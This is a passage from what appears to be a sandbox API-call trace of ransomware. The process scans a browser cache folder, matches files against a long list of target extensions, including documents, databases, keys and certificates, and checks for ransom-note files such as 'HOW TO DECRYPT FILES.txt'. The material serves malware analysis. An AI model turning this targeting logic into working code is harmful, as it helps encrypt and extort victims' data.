HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.html") returned 0 [0082.597] lstrlenA (lpString="*.html") returned 6 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.htm") returned 0 [0082.597] lstrlenA (lpString="*.htm") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.xlsx") returned 0 [0082.597] lstrlenA (lpString="*.xlsx") returned 6 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.xls") returned 0 [0082.597] lstrlenA (lpString="*.xls") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mp4") returned 0 [0082.597] lstrlenA (lpString="*.mp4") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.ppt") returned 0 [0082.597] lstrlenA (lpString="*.ppt") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.pptx") returned 0 [0082.597] lstrlenA (lpString="*.pptx") returned 6 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.doc") returned 0 [0082.597] lstrlenA (lpString="*.doc") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.dot") returned 0 [0082.597] lstrlenA (lpString="*.dot") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.docx") returned 0 [0082.598] lstrlenA (lpString="*.docx") returned 6 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.7z") returned 0 [0082.598] lstrlenA (lpString="*.7z") returned 4 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.tar") returned 0 [0082.598] lstrlenA (lpString="*.tar") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.bz2") returned 0 [0082.598] lstrlenA (lpString="*.bz2") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.gz") returned 0 [0082.598] lstrlenA (lpString="*.gz") returned 4 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mkv") returned 0 [0082.598] lstrlenA (lpString="*.mkv") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.eml") returned 0 [0082.598] lstrlenA (lpString="*.eml") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.msg") returned 0 [0082.598] lstrlenA (lpString="*.msg") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.edb") returned 0 [0082.598] lstrlenA (lpString="*.edb") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.accdb") returned 0 [0082.598] lstrlenA (lpString="*.accdb") returned 7 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.odb") returned 0 [0082.598] lstrlenA (lpString="*.odb") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.java") returned 0 [0082.598] lstrlenA (lpString="*.java") returned 6 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.asm") returned 0 [0082.598] lstrlenA (lpString="*.asm") returned 5 [0082.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.pfx") returned 0 [0082.599] lstrlenA (lpString="*.pfx") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.pem") returned 0 [0082.599] lstrlenA (lpString="*.pem") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.p12") returned 0 [0082.599] lstrlenA (lpString="*.p12") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.gpg") returned 0 [0082.599] lstrlenA (lpString="*.gpg") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.vsd") returned 0 [0082.599] lstrlenA (lpString="*.vsd") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.odg") returned 0 [0082.599] lstrlenA (lpString="*.odg") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.raw") returned 0 [0082.599] lstrlenA (lpString="*.raw") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.nef") returned 0 [0082.599] lstrlenA (lpString="*.nef") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.svg") returned 0 [0082.599] lstrlenA (lpString="*.svg") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.psd") returned 0 [0082.599] lstrlenA (lpString="*.psd") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.vmx") returned 0 [0082.599] lstrlenA (lpString="*.vmx") returned 5 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.vmdk") returned 0 [0082.599] lstrlenA (lpString="*.vmdk") returned 6 [0082.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.vdi") returned 0 [0082.600] lstrlenA (lpString="*.vdi") returned 5 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.lay6") returned 0 [0082.600] lstrlenA (lpString="*.lay6") returned 6 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mpeg") returned 0 [0082.600] lstrlenA (lpString="*.mpeg") returned 6 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.djvu") returned 0 [0082.600] lstrlenA (lpString="*.djvu") returned 6 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.tiff") returned 0 [0082.600] lstrlenA (lpString="*.tiff") returned 6 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.backup") returned 0 [0082.600] lstrlenA (lpString="*.backup") returned 8 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.pdf") returned 0 [0082.600] lstrlenA (lpString="*.pdf") returned 5 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.cert") returned 0 [0082.600] lstrlenA (lpString="*.cert") returned 6 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.docm") returned 0 [0082.600] lstrlenA (lpString="*.docm") returned 6 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.xlsm") returned 0 [0082.600] lstrlenA (lpString="*.xlsm") returned 6 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.dwg") returned 0 [0082.600] lstrlenA (lpString="*.dwg") returned 5 [0082.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.nd") returned 0 [0082.601] lstrlenA (lpString="*.nd") returned 4 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.tlg") returned 0 [0082.601] lstrlenA (lpString="*.tlg") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.lgb") returned 0 [0082.601] lstrlenA (lpString="*.lgb") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mov") returned 0 [0082.601] lstrlenA (lpString="*.mov") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.xdw") returned 0 [0082.601] lstrlenA (lpString="*.xdw") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.ods") returned 0 [0082.601] lstrlenA (lpString="*.ods") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.wav") returned 0 [0082.601] lstrlenA (lpString="*.wav") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mp3") returned 0 [0082.601] lstrlenA (lpString="*.mp3") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.aiff") returned 0 [0082.601] lstrlenA (lpString="*.aiff") returned 6 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.flac") returned 0 [0082.601] lstrlenA (lpString="*.flac") returned 6 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.m4a") returned 0 [0082.601] lstrlenA (lpString="*.m4a") returned 5 [0082.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.csv") returned 0 [0082.601] lstrlenA (lpString="*.csv") returned 5 [0082.602] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5386c470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5386c470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5386c470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d29, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="v2[2]", cAlternateFileName="V2_2_~1")) returned 1 [0082.602] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.602] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="v2[2]") returned -1 [0082.602] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="v2[2]") returned -1 [0082.602] lstrcmpiA (lpString1="", lpString2="v2[2]") returned -1 [0082.602] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]") returned="v2[1]" [0082.602] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.602] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.602] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.602] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.602] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="v2[2]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]" [0082.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.ems") returned 0 [0082.602] lstrlenA (lpString="*.ems") returned 5 [0082.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.db") returned 0 [0082.602] lstrlenA (lpString="*.db") returned 4 [0082.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.dbf") returned 0 [0082.602] lstrlenA (lpString="*.dbf") returned 5 [0082.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.myox") returned 0 [0082.603] lstrlenA (lpString="*.myox") returned 6 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.myo") returned 0 [0082.603] lstrlenA (lpString="*.myo") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qbw") returned 0 [0082.603] lstrlenA (lpString="*.qbw") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qbb") returned 0 [0082.603] lstrlenA (lpString="*.qbb") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qbm") returned 0 [0082.603] lstrlenA (lpString="*.qbm") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qbo") returned 0 [0082.603] lstrlenA (lpString="*.qbo") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qbx") returned 0 [0082.603] lstrlenA (lpString="*.qbx") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qba") returned 0 [0082.603] lstrlenA (lpString="*.qba") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qby") returned 0 [0082.603] lstrlenA (lpString="*.qby") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qbj") returned 0 [0082.603] lstrlenA (lpString="*.qbj") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.ofx") returned 0 [0082.603] lstrlenA (lpString="*.ofx") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.qif") returned 0 [0082.603] lstrlenA (lpString="*.qif") returned 5 [0082.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.mye") returned 0 [0082.603] lstrlenA (lpString="*.mye") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.mbox") returned 0 [0082.604] lstrlenA (lpString="*.mbox") returned 6 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.eml") returned 0 [0082.604] lstrlenA (lpString="*.eml") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.pst") returned 0 [0082.604] lstrlenA (lpString="*.pst") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.ost") returned 0 [0082.604] lstrlenA (lpString="*.ost") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.idx") returned 0 [0082.604] lstrlenA (lpString="*.idx") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.dbx") returned 0 [0082.604] lstrlenA (lpString="*.dbx") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.sql") returned 0 [0082.604] lstrlenA (lpString="*.sql") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.mdb") returned 0 [0082.604] lstrlenA (lpString="*.mdb") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.fdb") returned 0 [0082.604] lstrlenA (lpString="*.fdb") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.wab") returned 0 [0082.604] lstrlenA (lpString="*.wab") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.dat") returned 0 [0082.604] lstrlenA (lpString="*.dat") returned 5 [0082.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.txt") returned 0 